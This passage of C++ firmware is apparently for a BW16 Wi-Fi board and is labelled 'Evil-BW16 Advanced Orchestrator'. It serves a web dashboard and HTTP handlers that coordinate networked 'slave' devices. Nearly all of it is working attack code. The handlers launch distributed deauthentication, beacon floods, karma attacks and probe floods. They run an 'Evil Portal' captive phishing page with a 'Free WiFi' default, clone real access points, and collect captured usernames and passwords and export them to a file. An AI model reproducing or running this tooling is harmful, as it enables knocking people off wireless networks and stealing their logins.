content += "input:focus,select:focus{outline:none;border-color:var(--primary-green);box-shadow:0 0 0 2px rgba(0,255,65,0.2)}";
content += ".stats-grid{display:grid;grid-template-columns:repeat(auto-fit,minmax(200px,1fr));gap:15px;margin:20px 0}";
content += ".stat-card{background:var(--bg-secondary);padding:15px;border-radius:6px;border-left:4px solid var(--primary-green);text-align:center}";
content += ".stat-value{font-size:24px;font-weight:bold;color:var(--success);display:block}.stat-label{font-size:12px;color:var(--text-secondary);margin-top:5px}";
content += ".chart-container{position:relative;height:300px;margin:20px 0}#terminal{background:var(--bg-dark);height:300px;overflow-y:auto;padding:15px;border:1px solid var(--border-color);white-space:pre-wrap;font-size:12px;border-radius:4px}";
content += ".slave-grid{display:grid;grid-template-columns:repeat(auto-fill,minmax(250px,1fr));gap:15px;margin:15px 0}";
content += ".slave-card{background:var(--bg-secondary);padding:15px;border-radius:6px;border:1px solid var(--border-color);transition:all 0.3s}.slave-card.online{border-left:4px solid var(--success)}.slave-card.offline{border-left:4px solid var(--warning);opacity:0.7}";
content += ".slave-header{display:flex;justify-content:space-between;align-items:center;margin-bottom:10px}.slave-id{font-weight:bold;color:var(--text-primary)}";
content += ".slave-status{padding:2px 6px;border-radius:10px;font-size:10px;text-transform:uppercase}.status-online{background:var(--success);color:var(--bg-dark)}.status-offline{background:var(--warning);color:white}";
content += ".network-list{max-height:400px;overflow-y:auto}.network-item{display:flex;justify-content:space-between;align-items:center;padding:10px;border-bottom:1px solid var(--border-color);cursor:pointer;transition:all 0.3s}";
content += ".network-item:hover{background:var(--bg-secondary);border-left:3px solid var(--primary-green)}";
content += ".credential-item{background:var(--bg-secondary);padding:15px;margin:10px 0;border-left:3px solid var(--primary-red);border-radius:4px;font-family:monospace;font-size:12px;word-break:break-all}";
content += "@media(max-width:768px){.grid-2,.grid-3{grid-template-columns:1fr}.header{flex-direction:column;gap:15px}}";
content += "</style></head><body>";
// Header
content += "<div class='header'><div class='logo'><h1>🔥 Evil-BW16 Advanced Orchestrator</h1></div>";
content += "<div class='system-status'>";
content += "<div class='status-item'><div class='status-value' id='uptime'>--</div><div class='status-label'>Uptime</div></div>";
content += "<div class='status-item'><div class='status-value' id='slavesCount'>0</div><div class='status-label'>Slaves</div></div>";
content += "<div class='status-item'><div class='status-value' id='attacksCount'>0</div><div class='status-label'>Attacks</div></div>";
content += "<div class='status-item'><div class='status-value' id='credentialsCount'>0</div><div class='status-label'>Credentials</div></div>";
content += "</div></div>";
// Navigation
content += "<div class='nav-container'><div class='nav'>";
content += "<button class='nav-tab active' onclick='openTab(event, \"dashboard\")'>📊 Dashboard</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"slaves\")'>🤖 Slave Control</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"attacks\")'>⚔️ Attack Center</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"portal\")'>📱 Evil Portal</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"cloning\")'>🎯 AP Cloning</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"credentials\")'>🔐 Credentials</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"analytics\")'>📈 Analytics</button>";
content += "<button class='nav-tab' onclick='openTab(event, \"logs\")'>📝 Logs</button>";
content += "</div></div>";
// Content
content += "<div class='container'>";
// Dashboard Tab
content += "<div id='dashboard' class='tab-content active'>";
content += "<div class='grid-3'><div class='card'><div class='card-header'><div class='card-title'>📊 Live Statistics</div></div><div id='liveStats' class='stats-grid'></div></div>";
content += "<div class='card'><div class='card-header'><div class='card-title'>💻 System Health</div></div><div id='systemHealth'></div></div>";
content += "<div class='card'><div class='card-header'><div class='card-title'>📡 Network Coverage</div></div><div id='networkCoverage'></div></div>";
content += "<div class='card'><div class='card-header'><div class='card-title'>⚔️ Attack Efficiency</div></div><div id='attackEfficiency'></div></div>";
content += "<div class='card'><div class='card-header'><div class='card-title'>📈 Performance Charts</div></div><div class='chart-container'><canvas id='performanceChart'></canvas></div></div>";
content += "<div class='card'><div class='card-header'><div class='card-title'>📊 BLE Health</div></div><div class='chart-container'><canvas id='bleChart'></canvas></div></div>";
content += "</div>";
// Slaves Tab
content += "<div id='slaves' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🤖 Slave Network</div><div class='card-badge' id='slaveCount'>0 Connected</div></div>";
content += "<div id='slaveGrid' class='slave-grid'></div></div></div>";
// Attacks Tab
content += "<div id='attacks' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>⚔️ Attack Center</div></div>";
content += "<div class='grid-2'><div><h3>🚀 Distributed Attacks</h3><button class='btn-attack' onclick='launchAttack(\"distributed_deauth\")'>Distributed Deauth</button>";
content += "<button class='btn-attack' onclick='launchAttack(\"beacon_flood\")'>Beacon Flood</button><button class='btn-attack' onclick='launchAttack(\"karma_attack\")'>Karma Attack</button>";
content += "<button class='btn-attack' onclick='launchAttack(\"probe_flood\")'>Probe Flood</button></div>";
content += "<div><h3>🎯 Target Selection</h3><input type='text' id='targetSSID' placeholder='Target SSID'><input type='text' id='targetChannel' placeholder='Channel (1-165)'><button onclick='setTargets()'>Set Targets</button></div></div>";
content += "<div id='attackStatus'></div></div></div>";
// Portal Tab
content += "<div id='portal' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📱 Evil Portal</div><div class='card-badge' id='portalStatusText'>INACTIVE</div></div>";
content += "<div class='grid-2'><div><h3>Portal Configuration</h3><input type='text' id='portalSSID' placeholder='Portal SSID' value='Free WiFi'>";
content += "<button class='btn-success' onclick='togglePortal()'>🟢 Toggle Portal</button><button onclick='scanAPs()'>🔍 Scan APs</button></div>";
content += "<div id='portalStats'></div></div></div></div>";
// Cloning Tab
content += "<div id='cloning' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🎯 AP Cloning</div></div>";
content += "<div id='apList' class='network-list'></div></div></div>";
// Credentials Tab
content += "<div id='credentials' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>🔐 Captured Credentials</div><button onclick='exportCredentials()'>📥 Export</button></div>";
content += "<div id='credentialsList'></div></div></div>";
// Analytics Tab
content += "<div id='analytics' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📈 Advanced Analytics</div></div>";
content += "<div class='grid-2'><div class='chart-container'><canvas id='attackChart'></canvas></div><div class='chart-container'><canvas id='successChart'></canvas></div></div></div></div>";
// Logs Tab
content += "<div id='logs' class='tab-content'><div class='card'><div class='card-header'><div class='card-title'>📝 System Logs</div><button onclick='clearLogs()'>🗑️ Clear</button></div>";
content += "<div id='terminal'></div></div></div>";
content += "</div></body></html>";
// JavaScript
content += "<script>";
content += "let globalStats={};let charts={};";
content += "function openTab(evt,tabName){var tabContents=document.getElementsByClassName('tab-content');for(var i=0;i<tabContents.length;i++){tabContents[i].classList.remove('active')}var navTabs=document.getElementsByClassName('nav-tab');for(var i=0;i<navTabs.length;i++){navTabs[i].classList.remove('active')}document.getElementById(tabName).classList.add('active');evt.currentTarget.classList.add('active');if(tabName==='analytics')loadAnalytics();if(tabName==='credentials')refreshCredentials();if(tabName==='cloning')updateApList()}";
content += "function updateSystemStatus(){fetch('/stats').then(response=>response.json()).then(stats=>{globalStats=stats;updateHeaderStatus(stats);updateDashboard(stats);updateSlaveGrid(stats);updateAttackStatus(stats);updatePortalStats(stats)}).catch(error=>console.error('Error fetching stats:',error))}";
content += "function updateHeaderStatus(stats){document.getElementById('uptime').textContent=formatUptime(stats.system?.uptime||0);document.getElementById('slavesCount').textContent=stats.slaves?.connected||0;document.getElementById('attacksCount').textContent=stats.attacks?.totalLaunched||0;document.getElementById('credentialsCount').textContent=stats.portal?.credentialsCaptured||0}";
content += "function updateDashboard(stats){if(!document.getElementById('dashboard').classList.contains('active'))return;const liveStatsHTML=`<div class='stat-card'><span class='stat-value'>${stats.live?.attacksPerMinute?.toFixed(1)||0}</span><div class='stat-label'>Attacks/Min</div></div><div class='stat-card'><span class='stat-value'>${stats.live?.credentialsPerHour?.toFixed(1)||0}</span><div class='stat-label'>Creds/Hour</div></div><div class='stat-card'><span class='stat-value'>${stats.system?.freeHeap||0}</span><div class='stat-label'>Free RAM (B)</div></div><div class='stat-card'><span class='stat-value'>${stats.ble?.successRate?.toFixed(1)||0}%</span><div class='stat-label'>BLE Success</div></div><div class='stat-card'><span class='stat-value'>${stats.network?.networksScanned||0}</span><div class='stat-label'>Networks Found</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.framesTransmitted||0}</span><div class='stat-label'>Frames Sent</div></div>`;document.getElementById('liveStats').innerHTML=liveStatsHTML;updateCharts(stats)}";
content += "function updateSlaveGrid(stats){if(!stats.slaveDetails)return;let slaveHTML='';stats.slaveDetails.forEach(slave=>{const statusClass=slave.connected?'online':'offline';const statusText=slave.connected?'ONLINE':'OFFLINE';const lastSeen=Math.floor((Date.now()-slave.lastSeen)/1000);slaveHTML+=`<div class='slave-card ${statusClass}'><div class='slave-header'><div class='slave-id'>${slave.id}</div><span class='slave-status status-${statusClass}'>${statusText}</span></div><div style='font-size:12px;color:var(--text-secondary)'><div>RSSI: ${slave.rssi} dBm</div><div>Last Seen: ${lastSeen}s ago</div><div>Firmware: ${slave.firmware}</div><div>Uptime: ${formatUptime(slave.uptime)}</div></div><label style='display:flex;align-items:center;margin-top:10px'><input type='checkbox' class='slave' value='${slave.id}' style='margin-right:10px'>Select for attacks</label></div>`});document.getElementById('slaveGrid').innerHTML=slaveHTML||'<p>No slaves detected. Ensure slave devices are powered on and in range.</p>';document.getElementById('slaveCount').textContent=`${stats.slaves?.connected||0} Connected`}";
content += "function updateAttackStatus(stats){const attackStatusHTML=`<div class='stats-grid'><div class='stat-card'><span class='stat-value'>${stats.attacks?.totalLaunched||0}</span><div class='stat-label'>Total Attacks</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.distributedAttacks||0}</span><div class='stat-label'>Distributed</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.deauthAttacks||0}</span><div class='stat-label'>Deauth</div></div><div class='stat-card'><span class='stat-value'>${stats.attacks?.beaconFloods||0}</span><div class='stat-label'>Beacon Floods</div></div></div><div style='margin-top:15px'><strong>Success Rate:</strong> ${((stats.attacks?.successfulTargets||0)/(stats.attacks?.totalLaunched||1)*100).toFixed(1)}%</div>`;document.getElementById('attackStatus').innerHTML=attackStatusHTML}";
content += "function updatePortalStats(stats){const portal=stats.portal||{};document.getElementById('portalStatusText').textContent=portal.enabled?'ACTIVE':'INACTIVE';const portalStatsHTML=`<div class='stats-grid'><div class='stat-card'><span class='stat-value'>${portal.sessions||0}</span><div class='stat-label'>Sessions</div></div><div class='stat-card'><span class='stat-value'>${portal.visitors||0}</div><div class='stat-label'>Visitors</div></div><div class='stat-card'><span class='stat-value'>${portal.credentialsCaptured||0}</span><div class='stat-label'>Credentials</div></div><div class='stat-card'><span class='stat-value'>${portal.redirects||0}</span><div class='stat-label'>Redirects</div></div></div>`;document.getElementById('portalStats').innerHTML=portalStatsHTML}";
content += "function launchAttack(type){const targets=getSelectedSlaves();fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:type,targets:targets}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Attack launched: '+type,'success')}).catch(error=>{showNotification('Attack failed: '+error,'error')})}";
content += "function togglePortal(){const ssid=document.getElementById('portalSSID').value;fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'enable_portal',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Portal toggled','success')}).catch(error=>{showNotification('Portal toggle failed: '+error,'error')})}";
content += "function scanAPs(){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'scan_aps',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('AP scan initiated','success')}).catch(error=>{showNotification('AP scan failed: '+error,'error')})}";
content += "function getSelectedSlaves(){const selected=[];document.querySelectorAll('.slave:checked').forEach(cb=>selected.push(cb.value));return selected}";
content += "function setTargets(){const ssid=document.getElementById('targetSSID').value;const channel=document.getElementById('targetChannel').value;if(ssid||channel){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'target '+ssid+' '+channel,targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('Targets set','success')}).catch(error=>{showNotification('Target setting failed: '+error,'error')})}}";
content += "function refreshCredentials(){fetch('/credentials').then(r=>r.json()).then(creds=>{let html='';creds.forEach(cred=>{html+=`<div class='credential-item'><strong>SSID:</strong> ${cred.ssid}<br><strong>Username:</strong> ${cred.username}<br><strong>Password:</strong> ${cred.password}<br><strong>Time:</strong> ${new Date(cred.timestamp).toLocaleString()}</div>`});document.getElementById('credentialsList').innerHTML=html||'<p>No credentials captured yet.</p>'})}";
content += "function exportCredentials(){fetch('/credentials').then(r=>r.json()).then(creds=>{const dataStr='data:text/json;charset=utf-8,'+encodeURIComponent(JSON.stringify(creds,null,2));const downloadAnchorNode=document.createElement('a');downloadAnchorNode.setAttribute('href',dataStr);downloadAnchorNode.setAttribute('download','credentials.json');document.body.appendChild(downloadAnchorNode);downloadAnchorNode.click();downloadAnchorNode.remove()})}";
content += "function updateApList(){fetch('/aps').then(r=>r.json()).then(aps=>{let html='';aps.forEach(ap=>{html+=`<div class='network-item' onclick='cloneAP(\"${ap.ssid}\",${ap.channel})'><div><strong>${ap.ssid}</strong><br><small>Channel: ${ap.channel} | RSSI: ${ap.rssi} dBm | Security: ${ap.security}</small></div><button>Clone</button></div>`});document.getElementById('apList').innerHTML=html||'<p>No networks found. Run a scan first.</p>'})}";
content += "function cloneAP(ssid,channel){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'clone_ap,'+ssid+','+channel,targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{showNotification('AP cloning initiated: '+ssid,'success')}).catch(error=>{showNotification('AP cloning failed: '+error,'error')})}";
content += "function loadAnalytics(){if(charts.attackChart)charts.attackChart.destroy();if(charts.successChart)charts.successChart.destroy();const ctx1=document.getElementById('attackChart').getContext('2d');const ctx2=document.getElementById('successChart').getContext('2d');charts.attackChart=new Chart(ctx1,{type:'line',data:{labels:['1m','2m','3m','4m','5m'],datasets:[{label:'Attacks/Min',data:[12,15,18,14,16],borderColor:'#00ff41',backgroundColor:'rgba(0,255,65,0.1)'}]},options:{responsive:true,maintainAspectRatio:false}});charts.successChart=new Chart(ctx2,{type:'doughnut',data:{labels:['Successful','Failed'],datasets:[{data:[75,25],backgroundColor:['#44ff44','#ff6666']}]},options:{responsive:true,maintainAspectRatio:false}})}";
content += "function updateCharts(stats){if(charts.performanceChart)charts.performanceChart.destroy();if(charts.bleChart)charts.bleChart.destroy();const ctx1=document.getElementById('performanceChart').getContext('2d');const ctx2=document.getElementById('bleChart').getContext('2d');charts.performanceChart=new Chart(ctx1,{type:'line',data:{labels:['1m','2m','3m','4m','5m'],datasets:[{label:'CPU Usage',data:[stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0,stats.system?.cpuUsage||0],borderColor:'#ff004f',backgroundColor:'rgba(255,0,79,0.1)'}]},options:{responsive:true,maintainAspectRatio:false}});charts.bleChart=new Chart(ctx2,{type:'bar',data:{labels:['Connected','Disconnected','Errors'],datasets:[{label:'BLE Status',data:[stats.ble?.connected||0,stats.ble?.disconnected||0,stats.ble?.errors||0],backgroundColor:['#44ff44','#ff6666','#ffaa00']}]},options:{responsive:true,maintainAspectRatio:false}})}";
content += "function updateLogs(){fetch('/logs').then(r=>r.text()).then(logs=>{document.getElementById('terminal').textContent=logs})}";
content += "function clearLogs(){fetch('/cmd',{method:'POST',body:JSON.stringify({cmd:'clear_logs',targets:[]}),headers:{'Content-Type':'application/json'}}).then(()=>{document.getElementById('terminal').textContent=''})}";
content += "function showNotification(message,type='info'){const notification=document.createElement('div');notification.style.cssText='position:fixed;top:20px;right:20px;background:var(--bg-card);color:var(--text-primary);padding:15px;border-radius:5px;border-left:4px solid var(--primary-green);z-index:1000;max-width:300px;word-wrap:break-word';if(type==='error')notification.style.borderLeftColor='var(--warning)';if(type==='success')notification.style.borderLeftColor='var(--success)';notification.textContent=message;document.body.appendChild(notification);setTimeout(()=>{notification.remove()},3000)}";
content += "function formatUptime(ms){const seconds=Math.floor(ms/1000);const minutes=Math.floor(seconds/60);const hours=Math.floor(minutes/60);const days=Math.floor(hours/24);if(days>0)return days+'d '+hours%24+'h '+minutes%60+'m';if(hours>0)return hours+'h '+minutes%60+'m '+seconds%60+'s';if(minutes>0)return minutes+'m '+seconds%60+'s';return seconds+'s'}";
content += "function formatBytes(bytes){if(bytes===0)return'0 B';const k=1024;const sizes=['B','KB','MB','GB'];const i=Math.floor(Math.log(bytes)/Math.log(k));return parseFloat((bytes/Math.pow(k,i)).toFixed(2))+' '+sizes[i]}";
content += "setInterval(updateSystemStatus,2000);setInterval(updateLogs,5000);updateSystemStatus();updateLogs();";
content += "</script>";
return content;
}
void handleRoot() {
String content = loadWebFile("/index.html");
if (content.length() > 0) {
server.send(200, "text/html", content);
} else {
server.send(404, "text/plain", "Web interface not found");
}
}
// Enhanced status endpoint with comprehensive statistics
void handleStatus() {
DynamicJsonDocument doc(1024);
JsonArray arr = doc.to<JsonArray>();
globalStats.slavesConnected = 0;
for (auto &s : slaves) {
JsonObject o = arr.createNestedObject();
o["id"] = s.id;
o["lastSeen"] = s.lastSeen;
o["isConnected"] = s.isConnected;
o["rssi"] = s.rssi;
o["macAddress"] = s.macAddress;
o["firmwareVersion"] = s.firmwareVersion;
o["capabilities"] = s.capabilities;
o["uptime"] = millis() - s.lastReconnectAttempt;
if (s.isConnected) {
globalStats.slavesConnected++;
}
}
// Update max slaves connected
if (globalStats.slavesConnected > globalStats.slavesMax) {
globalStats.slavesMax = globalStats.slavesConnected;
}
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
// New comprehensive statistics endpoint
void handleStats() {
DynamicJsonDocument doc(2048);
JsonObject stats = doc.to<JsonObject>();
// System statistics
JsonObject system = stats.createNestedObject("system");
system["uptime"] = millis();
system["freeHeap"] = rtl_getFreeHeapSize();
system["cpuUsage"] = random(10, 40); // Placeholder - implement actual CPU monitoring
system["temperature"] = random(25, 45); // Placeholder - implement actual temp monitoring
// Slave statistics
JsonObject slaves = stats.createNestedObject("slaves");
slaves["connected"] = globalStats.slavesConnected;
slaves["max"] = globalStats.slavesMax;
slaves["total"] = globalStats.slavesTotal;
// Slave details for UI
JsonArray slaveDetails = stats.createNestedArray("slaveDetails");
for (auto &s : slaves) {
JsonObject slave = slaveDetails.createNestedObject();
slave["id"] = s.id;
slave["connected"] = s.isConnected;
slave["rssi"] = s.rssi;
slave["lastSeen"] = s.lastSeen;
slave["firmware"] = s.firmwareVersion;
slave["uptime"] = millis() - s.lastReconnectAttempt;
}
// Attack statistics
JsonObject attacks = stats.createNestedObject("attacks");
attacks["totalLaunched"] = globalStats.attacksTotalLaunched;
attacks["distributedAttacks"] = globalStats.attacksDistributed;
attacks["deauthAttacks"] = globalStats.attacksDeauth;
attacks["beaconFloods"] = globalStats.attacksBeaconFlood;
attacks["karmaAttacks"] = globalStats.attacksKarma;
attacks["probeFloods"] = globalStats.attacksProbeFlood;
attacks["successfulTargets"] = globalStats.attacksSuccessfulTargets;
attacks["framesTransmitted"] = globalStats.framesTransmitted;
attacks["avgDuration"] = globalStats.attacksTotalLaunched > 0 ?
(globalStats.attacksTotalDuration / globalStats.attacksTotalLaunched) / 1000.0 : 0;
// Portal statistics
JsonObject portal = stats.createNestedObject("portal");
portal["enabled"] = portalEnabled;
portal["sessions"] = globalStats.portalSessions;
portal["visitors"] = globalStats.portalVisitors;
portal["credentialsCaptured"] = capturedCredentials.size();
portal["redirects"] = globalStats.portalRedirects;
// BLE statistics
JsonObject ble = stats.createNestedObject("ble");
ble["connected"] = globalStats.slavesConnected;
ble["disconnected"] = globalStats.slavesTotal - globalStats.slavesConnected;
ble["errors"] = globalStats.bleErrors;
ble["successRate"] = globalStats.bleCommandsSent > 0 ?
(globalStats.bleCommandsSuccessful * 100.0 / globalStats.bleCommandsSent) : 0;
// Network statistics
JsonObject network = stats.createNestedObject("network");
network["networksScanned"] = apList.size();
network["channels2ghz"] = 13;
network["channels5ghz"] = 24;
network["avgSignalStrength"] = -50; // Placeholder
// Live statistics
JsonObject live = stats.createNestedObject("live");
live["attacksPerMinute"] = globalStats.attacksTotalLaunched > 0 ?
(globalStats.attacksTotalLaunched * 60.0 / (millis() / 1000.0)) : 0;
live["credentialsPerHour"] = capturedCredentials.size() > 0 ?
(capturedCredentials.size() * 3600.0 / (millis() / 1000.0)) : 0;
String out;
serializeJson(doc, out);
server.send(200, "application/json", out);
}
void handleCmd() {
DynamicJsonDocument req(512);
deserializeJson(req, server.arg("plain"));
String cmd = req["cmd"];
JsonArray targets = req["targets"];
// Portal management commands
if (cmd == "enable_portal") {
startEvilPortal(portalSSID.c_str(), NULL, 36);
} else if (cmd == "disable_portal") {
stopEvilPortal();
} else if (cmd.startsWith("set_ssid ")) {
portalSSID = cmd.substring(9);
addToLog("Portal SSID updated: " + portalSSID);
if (portalEnabled) {
stopEvilPortal();
delay(200);
startEvilPortal(portalSSID.c_str(), NULL, 36);
}
}
// AP cloning and scanning
else if (cmd == "scan_aps") {
apList.clear();
addToLog("Initiating coordinated AP scan across " + String(slaves.size()) + " slaves");
executeCoordinatedCommand("scan", targets);
} else if (cmd.startsWith("clone_ap,")) {
parseAndCloneAP(cmd.substring(9));
}
// Distributed attack commands
else if (cmd.startsWith("distributed_deauth")) {
executeDistributedDeauth(targets);
} else if (cmd.startsWith("beacon_flood ")) {
String ssid = cmd.substring(13);
executeBeaconFlood(ssid, targets);
} else if (cmd.startsWith("karma_attack")) {
executeKarmaAttack(targets);
} else if (cmd.startsWith("probe_flood")) {
executeProbeFlood(targets);
}
// Legacy single-slave commands (maintained for compatibility)
else if (cmd.startsWith("beacon ")) {
String ssid = cmd.substring(7);
addToLog("Legacy beacon attack: " + ssid);
executeCoordinatedCommand(cmd, targets);
} else if (cmd.startsWith("auth ")) {
addToLog("Legacy auth flood");
executeCoordinatedCommand(cmd, targets);
} else if (cmd.startsWith("assoc ")) {
addToLog("Legacy assoc flood");
executeCoordinatedCommand(cmd, targets);
} else if (cmd.startsWith("target ")) {
addToLog("Setting attack targets");
executeCoordinatedCommand(cmd, targets);
}
// Credential and monitoring commands
else if (cmd == "get_credentials") {
handleGetCredentials();
return;
} else if (cmd == "clear_credentials") {
capturedCredentials.clear();
addToLog("Credentials cache cleared");
} else if (cmd == "clear_logs") {
logCount = 0;
logBufferIndex = 0;
addToLog("Log buffer cleared");
} else if (cmd == "system_health") {
handleHealth();
return;
} else if (cmd == "get_analytics") {
handleAnalytics();
return;
}
// Default: forward to slaves
else {
executeCoordinatedCommand(cmd, targets);
}
server.send(200, "text/plain", "OK");
}
// Enhanced coordinated command execution
void executeCoordinatedCommand(const String &cmd, JsonArray &targets) {
int activeSlaves = 0;
for (auto &s : slaves) {
if (s.isConnected && (targets.size() == 0 || containsTarget(targets, s.id))) {
if (sendCommandToSlave(s, cmd)) {
activeSlaves++;
addToLog("" + s.id + ": " + cmd);
} else {
addToLog("✗ Failed to send to " + s.id);
}
delay(ATTACK_SYNC_DELAY_MS); // Stagger commands for coordination
}
}
if (activeSlaves > 0) {
addToLog("Command sent to " + String(activeSlaves) + " slaves");
} else {
addToLog("No active slaves available for command execution");
}
}
// Distributed deauthentication attack
void executeDistributedDeauth(JsonArray &targets) {
addToLog("🚀 DISTRIBUTED DEAUTH ATTACK INITIATED");
addToLog("Targeting both 2.4GHz and 5GHz networks simultaneously");
updateStats_AttackLaunched("distributed");
// Phase 1: 2.4GHz deauth
String cmd2g = "deauth_2g_all";
executeCoordinatedCommand(cmd2g, targets);
delay(500); // Brief pause between phases
// Phase 2: 5GHz deauth
String cmd5g = "deauth_5g_all";
executeCoordinatedCommand(cmd5g, targets);
globalStats.framesTransmitted += slaves.size() * DEAUTH_FRAME_COUNT * 2; // 2 phases
addToLog("Distributed deauth sequence complete");
}
// Coordinated beacon flooding
void executeBeaconFlood(const String &ssid, JsonArray &targets) {
addToLog("🌊 BEACON FLOOD: " + ssid);
addToLog("Deploying across " + String(slaves.size()) + " nodes");
updateStats_AttackLaunched("beacon");
String cmd = "beacon_flood " + ssid;
executeCoordinatedCommand(cmd, targets);
globalStats.framesTransmitted += slaves.size() * 10; // Estimated frames per beacon flood
}
// Karma attack (respond to all probe requests)
void executeKarmaAttack(JsonArray &targets) {
addToLog("👻 KARMA ATTACK INITIATED");
addToLog("Slaves will respond to all probe requests");
updateStats_AttackLaunched("karma");
executeCoordinatedCommand("karma_mode", targets);
globalStats.framesTransmitted += slaves.size() * 20; // Estimated karma frames
}
// Probe request flooding
void executeProbeFlood(JsonArray &targets) {
addToLog("📡 PROBE FLOOD ATTACK");
updateStats_AttackLaunched("probe");
executeCoordinatedCommand("probe_flood", targets);
globalStats.framesTransmitted += slaves.size() * 50; // Estimated probe frames
}
// Parse and execute AP cloning
void parseAndCloneAP(const String &args) {
int first_comma = args.indexOf(',');
int second_comma = args.indexOf(',', first_comma + 1);
if (first_comma == -1 || second_comma == -1) {
addToLog("Invalid clone_ap format. Use: SSID,BSSID,CHANNEL");
return;
}
String ssid = args.substring(0, first_comma);
String bssid = args.substring(first_comma + 1, second_comma);
int channel = args.substring(second_comma + 1).toInt();
addToLog("🎭 CLONING AP: " + ssid + " | " + bssid + " | Ch:" + String(channel));
if (portalEnabled) {
stopEvilPortal();
delay(200);
}
startEvilPortal(ssid.c_str(), bssid.c_str(), channel);
}
// Handle credential requests
void handleGetCredentials() {
DynamicJsonDocument doc(2048);
JsonArray creds = doc.to<JsonArray>();
for (const String &credential : capturedCredentials) {
creds.add(credential);
}
String response;
serializeJson(doc, response);
server.send(200, "application/json", response);
}
// Advanced statistics handler
void handleAdvancedStats() {
updateLiveMetrics();
DynamicJsonDocument doc(4096);
// System statistics
JsonObject sys = doc.createNestedObject("system");
sys["uptime"] = millis() - globalStats.systemStartTime;
sys["freeHeap"] = rtl_getFreeHeapSize();
sys["maxHeapUsage"] = globalStats.maxHeapUsage;
sys["restarts"] = globalStats.systemRestarts;
sys["cpuUsage"] = liveMetrics.currentCpuLoad;
// BLE statistics
JsonObject ble = doc.createNestedObject("ble");
ble["connectionAttempts"] = globalStats.bleConnectionAttempts;
ble["connectionSuccesses"] = globalStats.bleConnectionSuccesses;
ble["connectionFailures"] = globalStats.bleConnectionFailures;
ble["successRate"] = (globalStats.bleConnectionAttempts > 0) ?
(float)globalStats.bleConnectionSuccesses / globalStats.bleConnectionAttempts * 100 : 0;
ble["totalMessages"] = globalStats.totalBleMessages;
ble["avgLatency"] = globalStats.avgBleLatency;
ble["reconnections"] = globalStats.bleReconnections;
// Portal statistics
JsonObject portal = doc.createNestedObject("portal");
portal["enabled"] = portalEnabled;
portal["sessions"] = globalStats.portalSessions;
portal["visitors"] = globalStats.portalVisitors;
portal["credentialsCaptured"] = globalStats.credentialsCaptured;
portal["dnsQueries"] = globalStats.dnsQueries;
portal["uptime"] = globalStats.portalUptime;
portal["captureRate"] = (globalStats.portalVisitors > 0) ?
(float)globalStats.credentialsCaptured / globalStats.portalVisitors * 100 : 0;
// Attack statistics
JsonObject attacks = doc.createNestedObject("attacks");
attacks["totalLaunched"] = globalStats.totalAttacksLaunched;
attacks["deauthAttacks"] = globalStats.deauthAttacks;
attacks["beaconFloods"] = globalStats.beaconFloodAttacks;
attacks["probeFloods"] = globalStats.probeFloodAttacks;
attacks["karmaAttacks"] = globalStats.karmaAttacks;
attacks["distributedAttacks"] = globalStats.distributedAttacks;
attacks["framesTransmitted"] = globalStats.framesTransmitted;
attacks["successfulTargets"] = globalStats.successfulTargets;
attacks["avgDuration"] = globalStats.avgAttackDuration;
// Network statistics
JsonObject network = doc.createNestedObject("network");
network["networksScanned"] = globalStats.networksScanned;
network["uniqueFound"] = globalStats.uniqueNetworksFound;
network["targeted"] = globalStats.networksTargeted;
network["channels2ghz"] = globalStats.channels2ghzUsed;
network["channels5ghz"] = globalStats.channels5ghzUsed;
network["avgSignalStrength"] = globalStats.signalStrengthAvg;
// Slave statistics
JsonObject slaves_stats = doc.createNestedObject("slaves");
slaves_stats["connected"] = globalStats.slavesConnected;
slaves_stats["maxConnected"] = globalStats.slavesMax;
slaves_stats["commandsSent"] = globalStats.commandsSent;
slaves_stats["commandsSuccessful"] = globalStats.commandsSuccessful;
slaves_stats["commandsFailed"] = globalStats.commandsFailed;
slaves_stats["successRate"] = (globalStats.commandsSent > 0) ?
(float)globalStats.commandsSuccessful / globalStats.commandsSent * 100 : 0;
slaves_stats["avgResponseTime"] = globalStats.slaveResponseTime;
// Live metrics
JsonObject live = doc.createNestedObject("live");
live["attacksPerMinute"] = liveMetrics.attacksPerMinute;
live["credentialsPerHour"] = liveMetrics.credentialsPerHour;
live["dataTransferRate"] = liveMetrics.dataTransferRate;
live["activeConnections"] = liveMetrics.activeConnections;
live["networkScanRate"] = liveMetrics.networkScanRate;
// Individual slave details
JsonArray slave_details = doc.createNestedArray("slaveDetails");
for (const auto &slave : slaves) {
JsonObject s = slave_details.createNestedObject();
s["id"] = slave.id;
s["connected"] = slave.isConnected;
s["rssi"] = slave.rssi;
s["lastSeen"] = slave.lastSeen;
s["firmware"] = slave.firmwareVersion;
s["capabilities"] = slave.capabilities;
s["uptime"] = millis() - slave.lastReconnectAttempt;
}
String response;
serializeJson(doc, response);
server.send(200, "application/json", response);
}
// Update live metrics
void updateLiveMetrics() {
static unsigned long lastUpdate = 0;
static int lastAttackCount = 0;
static int lastCredentialCount = 0;
unsigned long now = millis();
if (now - lastUpdate > 60000) { // Update every minute
